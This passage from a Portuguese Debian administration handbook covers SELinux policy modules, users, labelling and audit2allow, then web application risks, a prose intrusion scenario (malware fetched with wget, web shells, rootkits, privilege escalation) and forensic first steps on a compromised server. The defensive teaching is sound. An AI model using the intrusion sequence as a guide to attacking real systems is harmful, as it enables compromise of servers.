modular de regras, e sua instalaçãodetecta e permite automaticamentetodos os módulos relevantes com basenos serviços já instalados. O sistema éassim imediatamente operacional. Noentanto, quando um serviço é instaladoapós a política do SELinux, você deveser capaz de habilitar manualmente omódulo correspondente. Esse é opropósito do comando semodule. Alémdisso, você deve ser capaz de definir asfunções que cada usuário podeendossar, e isso pode ser feito com ocomando semanage.

Estes dois comandos podem assim serusados para modificar a atualconfiguração do SELinux, que é

armazenada em/etc/selinux/default/. Ao contráriode outros arquivos de configuração quevocê pode encontrar em /etc/, todosesses arquivos não devem ser alteradosmanualmente. Você deve usar osprogramas concebidos para esteproposito.

INDO ALEM Mais documentacao

Uma vez que a NSA não fornece qualquerdocumentação oficial, a comunidadecriou um wiki para compensar. Reúneuma série de informações, mas você deveestar ciente que os maiores contribuintesSELinux são usuários do Fedora (onde oSELinux está habilitado por padrão). Adocumentação, portanto, tende a tratar

especificamente com essa distribuição.

→ http://www.selinuxproject.org

Você também deve ter olhado para apágina wiki dedicada ao Debian, bemcomo blog de Russel Coker, que é um dosdesenvolvedores mais ativos do Debiantrabalhando no suporte SELinux.

→ http://wiki.debian.org/SELinux

→ http://etbe.coker.com.au/tag/selinux/

14.4.3.1. GerenciandoModulos SELinux

Módulos SELinux disponíveis sãoarmazenados no diretorio

/usr/share/selinux/default/. Parahabilitar um desses módulos naconfiguração atual, você deve usarsemodule-i module.pp. A extensão pprepresenta pacote política.

A removecao de um módulo a partir daconfiguração atual é feita comsemodule -r module. Finalmente, ocomando semodule -l listas osmodulos que estao atualmentehabilitados. Também mostra seusnúmeros de versão.

# semodule -i /usr/share/selinux/default/aide.pp

# semodule -l

aide 1.4.0

apache 1.10.0

apm 1.7.0

[...]

# semodule -r aide

# semodule -l

apache 1.10.0

apm 1.7.0

[...]

semodule imediatamente carrega anova configuração, a menos que vocêuse sua opção -n . É interessante notarque o programa atua por padrão naconfiguração atual (que é indicada pelavariavel SELINUXTYPE em/etc/selinux/config), mas que vocêpode modificar outra, especificando-acom a opcao opção-s.

14.4.3.2. GerenciandoIdentidades

Toda vez que um usuário faz logon,eles se atribui uma identidadeSELinux. Esta identidade define ospapéis que eles serão capazes deendossar. Estes dois mapeamentos (dousuário para a identidade e de estaidentidade para papéis) sãoconfiguráveis com o comandosemanage.

Você deve definitivamente ler a páginade manual semanage(8), mesmo se asintaxe do comando tende a sersemelhante para todos os conceitos quesão geridos. Você vai encontrar opçõescomuns a todos os sub-comandos: -apara adicionar, -d para excluir, -m paramodificar, -l para listar, e -t para

indicar um tipo (ou domínio).

semanage login -l lista o atualmapeamento entre identificadores deusuário e identidades SELinux. Osusuários que não têm entrada explícitaobter a identidade indicado na entrada__default__. O comando semanagelogin -a -s user_u user irá associar aidentidade user_u ao determinadousuário. Finalmente,semanage login -duser exclui a entrada de mapeamentoatribuído a este usuário.

# semanage login -a -s user_u rhertzog

# semanage login -l

Login Name SELinux User MLS/MCS Range

__default__ unconfined_u s0-s0:c0.c1023

rhertzog user_u None

root unconfined_u s0-s0:c0.c1023

system_u system_u s0-s0:c0.c1023

# semanage login -d rhertzog

semanage user -l lists the mappingbetween SELinux user identities andallowed roles. Adding a new identityrequires to define both thecorresponding roles and a labelingprefix which is used to assign a type topersonal files (/home/user/*). Theprefix must be picked among user,staff, and sysadm. The “staff” prefixresults in files of type“staff_home_dir_t”. Creating a newSELinux user identity is done withsemanage user -a -R roles -P prefixidentity. Finally, you can remove an

SELinux user identity with semanageuser -d identity.\n\nsemanage user -l lista o mapeamento entre asidentidades de usuários do SELinux epapéis permitidos. Adicionar uma novaidentidade requer definir os papéiscorrespondentes e um prefixo demarcação que é usado para designar umtipo de arquivo pessoal(/home/user/*). O prefixo deve serescolhido entre usuário, o pessoal, eo sysadm. O prefixo "staff" resulta deprefixo dos arquivos do tipo"staff_home_dir_t". Criar uma novaidentidade de usuário SELinux é feitacom semanage usuário-a-R roles-Pprefix identidade. Finalmente, vocêpode remover uma identidade de

usuário SELinux com semanageusuário -d identidade.

# semanage user -a -R 'staff_r user_r' -P staff test_u

# semanage user -l

Labeling MLS/ MLS/

SELinux User Prefix MCS Level MCS Range SELinux Roles

root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r

staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r

sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r

system_u user s0 s0-s0:c0.c1023 system_r

test_u staff s0 s0 staff_r user_r

unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r

user_u user s0 s0 user_r

# semanage user -d test_u

14.4.3.3. Gerenciamento dearquivos Contextos, Portas e

booleanos

Cada módulo SELinux fornece umconjunto de regras de rotulagem dearquivos, mas também é possíveladicionar regras de rotulagempersonalizadas para atender a um casoespecífico. Por exemplo, se você desejaque o servidor web para seja capaz deler arquivos dentro da hierarquia dearquivos /srv/www/, você podeexecutar semanage fcontext-a-thttpd_sys_content_t "/srv/www(/.*)?" seguido de restorecon -R /srv/www/.O comando anterior registra as novasregras de rotulagem e redefine o últimodos tipos de arquivos de acordo com asatuais regras de rotulagem.

Da mesma forma, portas TCP/UDP sãorotuladas de uma forma que garanteque apenas os daemonscorrespondentes podem ouvi los. Porexemplo, se você quiser que o servidorweb seja capaz de escutar na porta8080, você deve executar semanageporta -m -t http_port_t-p tcp 8080.

Alguns módulos do SELinux exportaropções booleanas que você pode alterarpara alterar o comportamento dasregras padrão. O utilitário getseboolpode ser usado para inspecionar asopções (getseboolboolean exibe umaopção, e getsebool -a todas elas). Ocomando setsebool boolean valuemuda o valor atual de uma opção

booleana. A opcao -P faz a mudançapermanente, isso significa que o novovalor passa a ser o padrão e serámantido entre as reinicializações. Oexemplo abaixo servidores webconcede acesso para diretórios home(isto é útil quando os usuários têm sitespessoais em ~/public_html/).

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> off

# setsebool -P httpd_enable_homedirs on

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> on

14.4.4. Adaptando asRegras

Uma vez que a política do SELinux émodular, pode ser interessante paradesenvolver novos módulos para(possivelmente personalizar)aplicações que não os possuem. Estesnovos módulos, então, completarao apolítica de referência.

Para criar novos módulos, o pacoteselinux-policy-dev é necessário, bemcomo selinux-policy-doc. Este últimocontém a documentação das regraspadrão (/usr/share/doc/selinux-policy-doc/html/) da amostra earquivos que podem ser usados comomodelos para criar novos módulos.Instale estes arquivos e os estude maisde perto:

$ zcat /usr/share/doc/selinux-policy-doc/Makefile.example.gz >Makefile

$ zcat /usr/share/doc/selinux-policy-doc/example.fc.gz >example.fc

$ zcat /usr/share/doc/selinux-policy-doc/example.if.gz >example.if

$ cp /usr/share/doc/selinux-policy-doc/example.te ./

O arquivo .te é o mais importante. Eledefine as regras. O arquivo .fc defineos arquivos de contextos", isto é, ostipos atribuídos a arquivosrelacionados a este módulo. Os dadosdentro do arquivo .fc são utilizadosdurante a etapa de rotulagem doarquivo. Finalmente, o arquivo ifdefine a interface do módulo:. É umconjunto de "funções públicas" queoutros módulos podem usar parainteragir adequadamente com o móduloque você está criando.

14.4.4.1. Escrevendo umarquivo .fc

Lendo o exemplo a seguir deve sersuficiente para compreender a estruturade tal arquivo. Você pode usarexpressões regulares para atribuir omesmo contexto de segurança de váriosarquivos, ou até mesmo uma árvore dediretórios.

Example 14.2. arquivo example.fc# myapp executavel tera:

# label: system_u:object_r:myapp_exec_t

# MLS sensibilidade: s0

# MCS categorias: <nenhuma>

/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)

14.4.4.2. Escrevendo umarquivo .if

No exemplo abaixo, a primeirainterface ("myapp_domtrans") controlaquem pode executar o aplicativo. Osegundo ("myapp_read_log") concededireitos de leitura nos arquivos de logdo aplicativo.

Cada interface deve gerar um conjuntoválido de regras que podem serincorporadas em um arquivo .te. Vocêdeve, portanto, declarar todos os tiposque você utiliza (com a macrogen_require), e usar diretivas padrãode concessão de direitos. Note, noentanto, que você pode usar interfaces

fornecidas por outros módulos. Apróxima seção irá dar mais explicaçõessobre a forma de expressar essesdireitos.

Example 14.3. Arquivo example.if## <summary>Myapp exemple de politica</summary>

## <desc>

## <p>

## Mais um texto descritivo sobre myapp. A tag <desc>

## tambem pode usar <p>, <ul>, e <ol>

## tags html para formatacao;

## </p>

## <p>

## Esta politica suporta as seguintes myapp caracteristicas:

## <ul>

## <li>Caracteristica A</li>

## <li>Caracteristica B</li>

## <li>Caracteristica C</li>

## </ul>

## </p>

## </desc>

#

########################################

## <sumario>

## Executar uma transição de domínio para executar myapp.

## </sumario>

## <param name="domain">

## Domínio permitiu a transição.

## </param>

#

interface(`myapp_domtrans',`

gen_require(`

type myapp_t, myapp_exec_t;

')

domtrans_pattern($1,myapp_exec_t,myapp_t)

')

########################################

## <summary>

## Ler arquivos de log myapp.

## </summary>

## <param name="domain">

## Domínio permitiu ler os arquivos de log.

## </param>

#

interface(`myapp_read_log',`

gen_require(`

type myapp_log_t;

')

logging_search_logs($1)

allow $1 myapp_log_t:file r_file_perms;

')

DOCUMENTACAO Explicações sobre apolítica de referência

A política de referência evolui comoqualquer projeto de software livre:baseado em contribuições voluntárias. Oprojeto é hospedado pelo Tresys, uma dasempresas mais ativas no domínio

SELinux. Sua wiki contém explicaçõessobre como as regras são estruturadas ecomo você pode criar novas.

→ http://oss.tresys.com/projects/refpolicy/wiki/GettingStarted

14.4.4.3. Escrevendo umArquivo .te

De uma olhada no arquivoexample.te:

INDO ALEM A linguagem de macro m4

Para estruturar adequadamente a política,os desenvolvedores do SELinux utilizadoum processador de comandos macro. Em

vez de duplicar varios diretivas depermissoes similares, eles criaram"funções macro", para usar uma lógica dealto nível, o que também resulta em umapolítica muito mais legível.

Na prática, m4 é usado para compilaressas regras. Ele faz a operação inversa:ele expande todas estas directivas de altonível em um enorme banco de dados dediretivas de permissoes.

As "interfaces" SELinux são apenasfunções de macro que serão substituídaspor uma série de regras no momento dacompilação. Da mesma forma, algunsdireitos são conjuntos de fatos de direitosque são substituídos por seus valores emtempo de compilação.

policy_module(myapp,1.0.0)

########################################

#

# Declaracoes

#

type myapp_t;

type myapp_exec_t;

domain_type(myapp_t)

domain_entry_file(myapp_t, myapp_exec_t)

type myapp_log_t;

logging_log_file(myapp_log_t)

type myapp_tmp_t;

files_tmp_file(myapp_tmp_t)

########################################

#

# Politica local Myapp

#

allow myapp_t myapp_log_t:file { read_file_perms append_file_perms };

allow myapp_t myapp_tmp_t:file manage_file_perms;

files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

O modulo deve ser identificado pelo seu nome e numero da versao. Estadiretiva é requerida.

Se o módulo introduz novos tipos, deve declará-los com as directivascomo este. Não hesite em criar tantos tipos quantas forem necessários emvez de conceder muitos direitos inúteis.

Estas interfaces definem o tipo myapp_tdeve ser utilizada por qualquer executável rotulado com Implicitamente, isso adiciona um atributo objetos, que por sua vez permite que outros módulos de concessão dedireitos para executar esses programas: por exemplo, o módulo

userdomain, permite que os processos com domínios sysadm_t execute os. Os domínios de outras aplicações confinadas nãoterão direitos para executar los, a menos que as regras lhes concedemdireitos semelhantes (este é o caso, por exemplo, do dpkg com o seudomínio dpkg_t).

logging_log_file é uma interface fornecida pela política de referência.Ela indica que os arquivos marcados com o tipo de dado são arquivos delog que deveriam beneficiar das regrassociadas (por exemplo concedemdireitos ao logrotate para que possa manipulá los).

O diretiva permicao é a diretiva de base utilizada para autorizar umaoperação. O primeiro parâmetro é o domínio processo que tem apermissao para executar a operação. A segunda define o objeto que umprocesso do domínio anterior pode manipular. Este parâmetro é a forma"tipo: classe" onde tipo é o seu tipo SELinux e natureza do objeto (arquivo, diretório, socket, fifo, etc.) Finalmente, o

último parâmetro descreve as permissões (as operações permitidas).

As permissões são definidas como o conjunto de operações permitidas esegue este modelo: { operacao1operacao2pode usar macros que representam as permissões mais úteis. O/usr/share/selinux/default/include/support/obj_perm_sets.spt

os lista.

A página web a seguir fornece uma lista relativamente exaustiva declasses de objetos e permissões que podem ser concedidas.

→ http://www.selinuxproject.org/page/ObjectClassesPerms

Agora você só tem que encontrar oconjunto mínimo de regras necessáriaspara assegurar que o aplicativo dedestino ou serviço funcionecorretamente. Para conseguir isso, você

deve ter um bom conhecimento decomo o aplicativo funciona e de quetipo de dados ele gerencia e/ou gera.

No entanto, uma abordagem empírica épossível. Uma vez que os objetosrelevantes são rotuladas corretamente,você pode usar o aplicativo no modopermissivo: as operações que seriamproibidos são registrados, mas aindatem sucesso. Ao analisar os logs, vocêpode agora identificar as operações depermissao. Aqui esta um exemplo deuma tal entrada de log:

avc: denied { read write } for pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file

Para melhor entender esta mensagem,vamos estudá la peça por peça.

Table 14.1. Análise de umrastreamento SELinux

Mensagem

avc: denied

{ read write }

pid=1876

comm="syslogd"

name="xconsole"

dev=tmpfs

ino=5510

scontext=system_u:system_r:syslogd_t:s0

tcontext=system_u:object_r:device_t:s0

tclass=fifo_file

Ao observar essa entrada de log, épossível construir uma regra quepermite esta operação. Por exemplo:allow syslogd_t

device_t:fifo_file { read write

}. Este processo pode serautomatizado, e é exatamente o que ocomando audit2allow oferece (dopacote policycoreutils). Estaabordagem só é útil se os váriosobjetos já estão corretamente rotuladosde acordo com o que deve serconfinado. Em qualquer caso, você teráque analisar cuidadosamente as regrasgeradas e as validar de acordo com o

seu conhecimento da aplicacao.Efetivamente, essa abordagem tende aconceder mais direitos do que sãorealmente necessários. A soluçãoadequada é muitas vezes criar novostipos de concessão de direitos apenassobre esses tipos. Acontece também deuma operação negada não ser fatal paraa aplicação, neste caso pode ser melhoradicionar uma regra "dontaudit" paraevitar a entrada de log, apesar daefetiva negação.

COMPLEMENTOS Nao ha papeis nasregras de politicas

Pode parecer estranho que os papéis nãoaparecem em tudo ao criar novas regras.SELinux utiliza apenas os domínios para

descobrir quais operações são permitidas.A intervenção do papel apenas de formaindireta, permitindo ao usuário alternarpara outro domínio. SELinux é baseadoem uma teoria conhecida como Tipo deaplicacao e o tipo é o único elemento queimporta na concessão de direitos.

14.4.4.4. Compilando osArquivos

Uma vez que os 3 arquivos(example.if, example.fc, eexample.te) correspondem às suasexpectativas para as novas regras, bastaexecutar make para gerar um módulono arquivo example.pp file> (você

pode o carregar imediatamente comsemodule -i example.pp). Se váriosmódulos são definidos, make irá criartodos os arquivos correspondentes .pp.

14.5. OutrasConsideracoesRelacionadas aSegurancaSegurança não é apenas um problematécnico, mais do que qualquer coisa, ésobre as boas práticas e compreencaodos riscos. Esta seção examina algunsdos riscos mais comuns, bem comoalgumas das melhores práticas quedeverao, dependendo do caso, aumentara segurança ou diminuir o impacto deum ataque bem sucedido.

14.5.1. RiscosInerentes a AplicaçõesWebO caráter universal das aplicações weblevou à sua proliferação. Diversas sãofreqüentemente executadas emparalelo: um webmail, um wiki, algumsistema de groupware, fóruns, umagaleria de fotos, um blog, e assim pordiante. Muitas dessas aplicaçõesdependem da pilha "LAMP" (Linux,Apache, MySQL, PHP). Infelizmente,muitas dessas aplicações tambémforam escritas sem considerar muito osproblemas de segurança. Dados

provenientes do exterior são, muitasvezes, utilizados com pouca ounenhuma validação. Proporcionandovalores criados especialmente paraserem usados para destruir umachamada para um comando de modoque um outro seja executado em vezdisso. Muitos dos problemas maisóbvios foram corrigidos com o parrardo tempo, mas novos problemas desegurança surgem regularmente.

VOCABULARIO SQL injection

Quando um programa insere dados emconsultas SQL de uma maneira segura,torna-se vulnerável a SQL injections; estenome abrange o ato de alterar umparâmetro de tal forma que a consulta real

executada pelo programa é diferente dapretendida, quer para danificar o bancode dados ou de acesso aos dados quenormalmente não devem ser acessíveis.

→ http://en.wikipedia.org/wiki/SQL_Injection

Atualizar aplicações web regularmenteé, portanto, uma obrigação, para quequalquer cracker (se um atacante ouum profissional script kiddy) possaexplorar uma vulnerabilidadeconhecida. O risco real depende docaso, e varia de destruição de dados aexecução de código arbitrário,incluindo desfiguração do site.

14.5.2. Sabendo O Que

14.5.2. Sabendo O QueEsperarA vulnerabilidade em uma aplicaçãoweb é frequentemente utilizada comoponto de partida para as tentativas decraqueamento. O que se segue são umabreve revisão das possíveisconsequências.

OLHADA RAPIDA Filtrando consultasHTTP

Apache 2 inclui módulos que permitindoa filtragem da entrada de consultas HTTP.Isto permite o bloqueio de alguns vetoresde ataque. Por exemplo, limitando aduração dos parâmetros pode impedir oestouro do buffer. Mais genericamente,

pode se validar os parâmetros antesmesmo que eles passem para a aplicaçãoweb e restringir o acesso ao longo demuitos critérios. Isso pode até sercombinado com atualizações dinâmicasdo firewall, de modo que se um clienteviolar uma das regras é proibido deacessar o servidor web por umdeterminado tempo.

Configurando estas verificações podemser uma tarefa longa e complicada, maspode pagar quando a aplicação web a serimplantada tiver um histórico duvidoso,onde a segurança é interesse.

mod-security (no pacote libapache-mod-security) é o tal módulo principal.

As consequências de uma invasão terá

vários níveis de evidência, dependendodas motivações do atacante. Script-kiddies só aplicam receitas queencontram em sites, a maioria dasvezes, eles desfigurar uma página webou excluir dados. Em casos mais sutis,eles adicionam conteúdo invisíveispara páginas web, de modo a melhorarencaminhamentos para seus própriossites em motores de busca.

Um atacante mais avançado vai alémdisso. Um cenário de desastre poderiacontinuar da seguinte maneira: oatacante ganha a habilidade de executarcomandos como o usuário www-data,mas a execução de um comando requermuitas manipulações. Para tornar sua

vida mais fácil, eles instalam outrasaplicações web especialmenteconcebidas para executar remotamentevários tipos de comandos, como anavegação no sistema de arquivos,examinando as permissões de upload,ou download de arquivos, execução decomandos, e até mesmo fornecer umescudo de rede. Muitas vezes, avulnerabilidade permite execução deum wget que vai baixar algum malwareem /tmp/, então o executa. O malwaregeralmente é baixado de um siteestrangeiro que foi previamentecomprometido, a fim de cobrir faixas etornar mais difícil rastrear a verdadeiraorigem do ataque.

Neste ponto, o invasor tem bastanteliberdade de movimento que muitasvezes instalar um robô IRC (um robôque se conecta a um servidor IRC epode ser controlado por este canal).Este robô é freqüentemente usado paracompartilhamento de arquivos ilegais(cópias não autorizadas de filmes ousoftware, entre outros). Umdeterminado invasor pode querer irainda mais longe. O conta www-datanão permite o acesso total à máquina, eo invasor vai tentar obter privilégios deadministrador. Ora, isso não deve serpossível, mas se a aplicação web nãoestá atualizada, as chances são de queos programas do kernel e outrostambém estejam desatualizados, o que

às vezes se segue uma decisão doadministrador que, apesar de sabersobre a vulnerabilidade, negligenciadopara atualizar o sistema, pois nãoexistem usuários locais. O atacantepode então aproveitar essa segundavulnerabilidade para obter acesso root.

VOCABULARIO Escalonamento dePrivilégios

Este termo abrange qualquer coisa quepode ser usada para obter as permissõesde mais do que um determinado utilizadordeve ter normalmente. O programa sudo éprojetado justamente com o proposito dedar direitos administrativos para algunsusuários. Mas o termo também é usadopara descrever o ato de um invasorexplorar uma vulnerabilidade para obter

direitos indevidos.

Agora, o atacante é dono da máquina;eles costumam tentar manter esseacesso privilegiado pelo maior tempopossível. Isso envolve a instalação deum rootkit, um programa que irásubstituir alguns componentes dosistema para que o invasor seja capazde obter os privilégios deadministrador novamente em ummomento posterior, o rootkit tambémtenta esconder a sua própria existênciacomo tambem quaisquer vestígios daintrusão. U subvertido programa ps irádeixar de listar alguns processos,netstat não vai listar algumas das

conexões ativas e assim por diante.Usando as permissões de root, oinvasor foi capaz de observar todo osistema, mas não encontrou dadosimportantes, então vai tentar acessaroutras máquinas na rede corporativa.Analisando a conta do administrador eos arquivos de histórico, o atacanteacha que as máquinas são acessadasrotineiramente. Ao substituir sudo oussh com um programa subvertido, oinvasor pode interceptar algumas dassenhas do administrador, que iráutilizar nos servidores detectados ... e aintrusão pode se propagar a partir deentão.

Este é um cenário de pesadelo pode ser

evitado através de várias medidas. Aspróximas seções descrevem algumasdessas medidas.

14.5.3. Escolhendo oSoftware SabiamenteUma vez que os problemas potenciaisde segurança são conhecidos, elesdevem ser levados em conta, em cadapasso do processo de implantação deum serviço, especialmente quando seescolhe o software para instalar.Muitos sites, comoSecurityFocus.com, mantem umalista de vulnerabilidades recém-

descobertas, que podem dar uma idéiade um histórico de segurança antes dealgum software especial serimplantado. Claro, essa informaçãodeve ser equilibrada com apopularidade do referido software: umprograma mais amplamente usado éum alvo mais tentador, e seráexaminado mais de perto comoconseqüência. Por outro lado, umprograma de nicho pode estar cheio deburacos de segurança que nunca seraodivulgados devido a uma falta deinteresse em uma auditoria desegurança.

VOCABULARIO Auditoria de Seguranca

A auditoria de segurança é o processo deleitura cuidadosa e analise do códigofonte de algum software, procurando porvulnerabilidades de segurança empotencial que poderiam conter. Estasauditorias são geralmente pró-ativas e sãorealizadas para garantir que um programaatenda aos requisitos de segurançadeterminados.

No mundo do Software Livre,geralmente há um amplo espaço para aescolha, e escolher um pedaço desoftware em detrimento de outro deveser uma decisão com base nos critériosque se aplicam localmente. Maiscaracterísticas implicam num aumentodo risco de um vulnerabilidade

escondida no código; escolher oprograma mais avançado para umatarefa pode realmente sercontraproducente, e uma melhorabordagem é, geralmente, para escolhero programa mais simples que atendaaos requisitos.

VOCABULARIO Zero-day exploit

Um ataque zero-day exploit é difícil deevitar, o termo abrange umavulnerabilidade que ainda não éconhecida pelos autores do programa.

14.5.4. Gerenciando

uma Máquina comoum TodoA maioria das distribuições Linuxinstalam por padrão uma série deserviços Unix e muitas ferramentas.Em muitos casos, estes serviços eferramentas não são necessários paraos fins de reais para que oadministrador configure a máquina.Como orientação geral em matéria desegurança, softwares desnecessários émelhor desinstalado. Na verdade, nãotem sentido garantir um servidor FTP,se uma vulnerabilidade em um serviçodiferente, não utilizado pode ser usadopara obter privilégios de administrador

na máquina inteira.

Seguindo o mesmo raciocínio,firewalls, frequentemente saoconfigurados para permitir apenasacesso aos serviços que se destinam aser acessíveis ao público.

Computadores atuais são poderosos osuficiente para permitir a hospedagemde vários serviços na mesma máquinafísica. De um ponto de vistaeconómico, uma tal possibilidade éinteressante: um só computador paraadministrar, menor consumo deenergia, e assim por diante. Do pontode vista da segurança, no entanto, estaescolha pode ser um problema. Um

serviço comprometido pode levar oacesso a toda a máquina, que por suavez compromete os outros serviçoshospedados no mesmo computador.Este risco pode ser atenuado através doisolamento dos serviços. Isto pode seralcançado tanto com virtualização(cada serviço a ser hospedado em umamáquina virtual dedicada), ou com oSELinux (cada serviço tem um daemoncom um conjunto de permissõesadequadamente projetado).

14.5.5. Os UsuáriosSão Jogadores

Discutir segurança imediatamente trazà mente proteção contra ataques decrackers anônimos escondidos na selvada Internet, mas um fato muitas vezesesquecido é que corre o risco de virtambém de dentro: um funcionárioprestes a deixar a empresa poderiabaixar arquivos confidenciais sobre osprojetos importantes e vendê-los aosconcorrentes, um vendedor denegligente poderia deixar sua mesasem bloquear a sessão durante umencontro com uma nova perspectiva,um usuário desajeitado poderia excluiro diretório errado por engano, e assimpor diante.

A resposta a estes riscos podem

envolver soluções técnicas: não maisdo que as permissões necessáriasdevem ser concedidas aos usuários, ebackups regulares são uma obrigacao.Mas em muitos casos, a protecçãoadequada vai envolver treinamento deusuários para evitar os riscos.

BLOQUEIO RAPIDO autolog

O pacote autolog fornece um programaque desconecta automaticamente usuáriosinativos depois de um atrasoconfigurável. Ele também permite matarprocessos de usuário que persistem apóso término da sessão, impedindo osusuários de executar daemons.

14.5.6. SegurancaFisicaNão faz sentido garantir os serviços eredes, se os próprios computadores nãoestiverem protegidos. Dadosimportantes merecem ser armazenadosem discos rígidos hot-swappable emRAID, por que discos rígidos falhameventualmente e a disponibilidade dosdados é um ponto obrigatório. Mas sequalquer entregador de pizza podeentrar no prédio furtivo, na sala doservidor e fugir com alguns discosrígidos, uma parte importante dasegurança não está cumprida. Quem

pode entrar na sala do servidor? Oacesso está monitorado? Estas questõesmerecem ser consideradas (e umaresposta) quando a segurança físicaestá sendo avaliada.

A segurança física inclui levar emconsideração também os riscos deacidentes, como incêndios. Este riscoparticular é o que justifica armazenaras mídias de backup em um prédioseparado, ou pelo menos em um cofre àprova de fogo.

14.5.7. Responsabilidadelegal

Um administrador tem, mais ou menosimplicitamente, a confiança de seususuários, bem como os usuários da redeem geral. Eles devem, portanto, evitara negligência que as pessoas malignaspoderiam explorar.

Um invasor assume o controle da suamáquina, em seguida, a utiliza comouma base para avancar (conhecidocomo “relay system - sistema derevezamento") da quale para realizaroutras atividades nefastas poderiacausar problemas legais para você, umavez que a parte que atacou inicialmenteiria ver o ataque proveniente de seusistema e, portanto, considerá-lo comoo atacante (ou como cúmplice). Em

muitos casos, o atacante usará oservidor como um relé para enviarspam, que não deve ter muito impacto(exceto possivelmente registro emlistas negras que poderiam restringir asua capacidade de enviar e-mailslegítimos), mas não vai ser agradável,no entanto. Em outros casos, oproblema mais importante pode sercausado a partir de sua máquina, porexemplo, seria ataques de negação deserviço. Isso, às vezes, induz a perda dereceitas, uma vez que os serviçoslegítimos não estará disponível e osdados podem ser destruídos, às vezesisso também implicaria um custo real,porque a parte atacada pode iniciar umprocesso judicial contra você. Os

dententores dos direitos podemprocessá-lo se uma cópia nãoautorizada de uma obra protegida pordireitos autorais é compartilhada apartir do servidor, bem como outrasempresas obrigadas por acordos denível de serviço, se eles são obrigadosa pagar multas após o ataque de suamáquina.

Quando estas situações ocorrem,afirmar inocência não é geralmentesuficiente; no mínimo, você vaiprecisar de provas convincentes quemostram a atividade suspeita em seusistema que vem de um determinadoendereço IP. Isso não será possível sevocê negligenciar as recomendações

deste capítulo e deixar o invasor obteracesso a uma conta privilegiada (root,em particular) e usá la para cobrir seusrastros.

14.6. Lidando comuma máquinacomprometidaApesar das melhores intenções e pormais cuidadosamente concebidopolítica da segurança, umadministrador, eventualmente, enfrentaum ato de desvio. Esta seção fornecealgumas orientações sobre como reagirquando confrontado com estascircunstâncias infelizes.

14.6.1. Detectando e

Visualizando aIntrusão do crackerA primeira etapa de reagir a quebra éestar ciente de tal ato. Isso não é auto-evidente, especialmente sem umainfra-estrutura adequada de vigilância.

Atos Cracking muitas vezes não sãodetectados até que eles têmconseqüências diretas sobre os serviçoslegítimos hospedados na máquina,como conexões debilitadas, algunsusuários incapazes de se conectar, ouqualquer outro tipo de avaria. Diantedesses problemas, o administradorprecisa dar uma boa olhada para a

máquina e examinar cuidadosamente oque se comporta mal. Este égeralmente o momento em que elesdescobrem um processo incomum, porexemplo, um chamado apache em vezdo padrão /usr/sbin/apache2. Seseguirmos esse exemplo, a coisa afazer é observar seu identificador deprocesso, e verificar /proc/pid/exepara ver qual programa está executandoeste processo atualmnete:

# ls -al /proc/3719/exe

lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

Um programa instalado em /var/tmp/e funcionando como servidor web?Sem deixar dúvida, a máquina está

comprometida.

Este é apenas um exemplo, mas muitasoutras dicas podem alertar oadministrador:

uma opção para um comando quenão funciona mais; a versão dosoftware que o comando pretendeser não coincide com a versão queestá supostamente instalada deacordo com dpkg;um prompt de comando ou umasessão de saudação indicando quea última conexao veio de umservidor desconhecido em outrocontinente;erros causados pela partição

/tmp/ estar cheia, o que acaboupor estar cheio de cópias ilegaisde filmes;entre outros.

14.6.2. Colocando oservidor Off-LineEm qualquer dos casos porém, os maisexóticos, a quebra vem da rede, e oinvasor precisa de uma redetrabalhando para alcançar as suasmetas (acesso a dados confidenciais,compartilhar arquivos clandestinos,ocultar a sua identidade utilizando amáquina como de um retransmissor e

assim sucessivamente). Desconectar ocomputador da rede impedirá que oatacante alcane esses objetivos, se elesnão conseguiram fazer isso ainda.

Isso só é possível se o servidor estáfisicamente acessível. Quando oservidor está hospedado em umahospedagem no centro provedor dedados do outro lado do país, ou se oservidor não está acessível porqualquer outro motivo, é geralmenteuma boa idéia começar a reunir algumainformação importante (ver seçõesseguintes), então isolar o servidor tantoquanto possível, fechando tantosserviços quanto possível (geralmentetudo, mas sshd). Este caso ainda é

estranho, pois não se pode descartar apossibilidade de o atacante ter acessoSSH como o administrador tem, o quetorna mais difícil "limpar" asmáquinas.

14.6.3. MantendoTudo que Poderia SerUsado como EvidênciaCompreender o ataque e/ou ação legalcontra os atacantes envolvente requeruma tomada de cópias de todos oselementos relevantes, o que inclui oconteúdo do disco rígido, uma lista detodos os processos em execução, e uma

lista de todas conexões abertas. Oconteúdo da memória RAM tambémpoderia ser usado, mas é raramenteutilizado na prática.

No calor da ação, os administradoressão muitas vezes tentados a realizarmuitas verificações na máquinacomprometida; esta geralmente não éuma boa idéia. Cada comando épotencialmente subvertido e podeapagar elementos de prova. Os chequesdevem ser restritas ao conjunto mínimo(netstat -tupan para conexões de rede,ps auxf para uma lista de processos, ls-alR /proc/[0-9]* para um pouco maisde informação sobre a execução deprogramas), e cada seleção realizada

deve ser cuidadosamente anotada.

ATENCAO Analise Quente

Embora possa parecer tentador analisar osistema como ele executa, especialmentequando o servidor não é fisicamenteacessível, este é melhor evitar:simplesmente você não pode confiar nosprogramas instalados no sistemacomprometido. É bem possível que umsubvertido comando ps para esconderalguns processos, ou para um comando lssubvertido para esconder arquivos, àsvezes até mesmo o kernel écomprometido!

Se uma análise tão quente ainda énecessária, deve ser tomado o cuidado deusar somente os bons programasconhecidos. Uma boa maneira de fazer

isso seria ter um CD de recuperação comprogramas imaculados, ou umcompartilhamento de rede somenteleitura. No entanto, mesmo essascontramedidas podem não ser suficientesse o kernel em si está comprometido.

Uma vez que os elementos "dinâmicos"foram salvos, o próximo passo éarmazenar uma imagem completa dodisco rígido. Fazer tal imagem éimpossível se o sistema ainda estáexecutando, é por isso que deve serremontado somente para leitura. Asolução mais simples é muitas vezesparar o servidor brutalmente (após aexecucao de sync) e reiniciá-lo em umCD de recuperação. Cada partição deve

